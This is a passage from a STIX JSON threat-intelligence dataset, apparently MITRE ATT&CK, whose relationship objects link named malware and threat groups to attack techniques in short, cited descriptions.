            "modified": "2020-03-17T01:53:17.529Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from local hard drives with file extensions that match a predefined list.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.644Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.433Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d43315b0-d708-4197-b3ed-0a0b1199e434",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to set certain attributes such as creation/modification timestamps on files.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-16T23:58:58.750Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "For all non-removable drives on a victim, [USBStealer](https://attack.mitre.org/software/S0136) executes automated collection of certain files for later exfiltration.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.146Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ced766d2-ca63-43d2-8551-76f37696cc88",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) has a command to gather system information from the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.174Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b75c08e0-4d11-46dc-a582-ca496352bb1c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) dropped and executed tools used for password cracking, including Hydra and [CrackMapExec](https://attack.mitre.org/software/S0488).(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)(Citation: Kali Hydra)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                },
                {
                    "source_name": "Kali Hydra",
                    "description": "Kali. (2014, February 18). THC-Hydra. Retrieved November 2, 2017.",
                    "url": "https://tools.kali.org/password-attacks/hydra"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
            "type": "relationship",
            "modified": "2020-07-29T20:31:24.104Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--77bd9ea1-9401-4128-a78a-bd28d43a6c99",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about local groups and members.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T21:55:33.602Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3264e1db-0f54-4049-a45c-3a03a24709aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XTunnel](https://attack.mitre.org/software/S0117) has been used to execute remote commands.(Citation: Crowdstrike DNC June 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                }
            ],
            "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:51:30.341Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--eaa06586-e33e-4e4c-91ca-76935c22e012",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs local network connection discovery using <code>netstat</code>.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.167Z",
            "created": "2017-05-31T21:33:27.033Z"
        },
        {
            "id": "relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T15:43:57.779Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An executable dropped onto victims by [Putter Panda](https://attack.mitre.org/groups/G0024) aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "source_name": "CrowdStrike Putter Panda"
                }
            ],
            "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T19:24:01.195Z",
            "created": "2017-05-31T21:33:27.059Z"
        },
        {
            "id": "relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c",
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            "description": "[T9000](https://attack.mitre.org/software/S0098) searches through connected drives for removable storage devices.(Citation: Palo Alto T9000 Feb 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
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            "type": "relationship",
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        },
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            "id": "relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e",
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            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data to its C2 server over the same protocol as C2 communications.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
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        },
        {
            "id": "relationship--abd0cc1c-8901-4645-8853-c394ae8c573c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) removes logs from <code>/var/logs</code> and <code>/Library/logs</code>.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
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                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-02-18T03:51:27.154Z",
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            "description": "[VERMIN](https://attack.mitre.org/software/S0257) can get a list of the processes and running tasks on the system.(Citation: Unit 42 VERMIN Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-16T19:50:57.948Z",
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        },
        {
            "id": "relationship--213b2924-9f77-4352-b92c-da83d00da353",
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            "description": "[VERMIN](https://attack.mitre.org/software/S0257) uses HTTP for C2 communications.(Citation: Unit 42 VERMIN Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:47:21.599Z",
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        },
        {
            "id": "relationship--cd22a7a4-6f9f-481c-9a6d-6e1c665ed6cd",
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            "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate services.(Citation: FireEye APT37 Feb 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
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            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa"
        },
        {
            "id": "relationship--ad696f42-0631-43fb-893b-a5616f14f93f",
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            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is able to wipe event logs.(Citation: FireEye Hacking Team)(Citation: Gh0stRAT ATT March 2019)",
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            ],
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                {
                    "source_name": "FireEye Hacking Team",
                    "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"
                },
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-07-15T19:28:00.872Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c93bb2b9-bd22-4e14-b884-2141168387b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) creates various subdirectories under <code>%Temp%\\reports\\%</code> and copies files to those subdirectories. It also creates a folder at <code>C:\\Users\\<Username>\\AppData\\Roaming\\Microsoft\\store</code> to store screenshot JPEG files.(Citation: Palo Alto Gamaredon Feb 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-06-22T17:54:16.021Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's current directory.(Citation: FireEye APT10 Sept 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:46:42.661Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--308e4e12-9dc8-41e8-ad5c-b21978ff57eb",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--f6b7c116-0821-4eb7-9b24-62bd09b3e575",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
            "type": "relationship",
            "modified": "2021-02-17T14:23:49.708Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--67003297-a35d-452f-b83b-34556115d15c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "description": "(Citation: FireEye Periscope March 2018)",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.567Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--4999a323-b025-4a1d-8c80-5ae36b2f5a0d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT19](https://attack.mitre.org/groups/G0073) Port 22 malware variant registers itself as a service.(Citation: Unit 42 C0d0so0 Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/",
                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 C0d0so0 Jan 2016"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.243Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) communicates with its C2 server over HTTP.(Citation: F-Secure BlackEnergy 2014)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.463Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c8bf1e63-1275-46c7-b378-b4a3cc3eb369",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) gathers product names from the Registry key: <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName</code> and the processor description from the Registry key <code>HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 ProcessorNameString</code>.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
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                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.290Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5073b1b4-4018-4208-a46e-86a8358a6cee",
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            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can read data from files.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.736Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--43d85ed6-223e-4402-bd29-be10a872359d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get text of the current foreground window.(Citation: Volexity PowerDuke November 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.438Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--28a5dd20-3e47-4ad4-973e-475a65e96cac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PHOREAL](https://attack.mitre.org/software/S0158) communicates via ICMP for C2.(Citation: FireEye APT32 May 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-19T19:56:10.633Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of spreading to USB devices.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "type": "relationship",
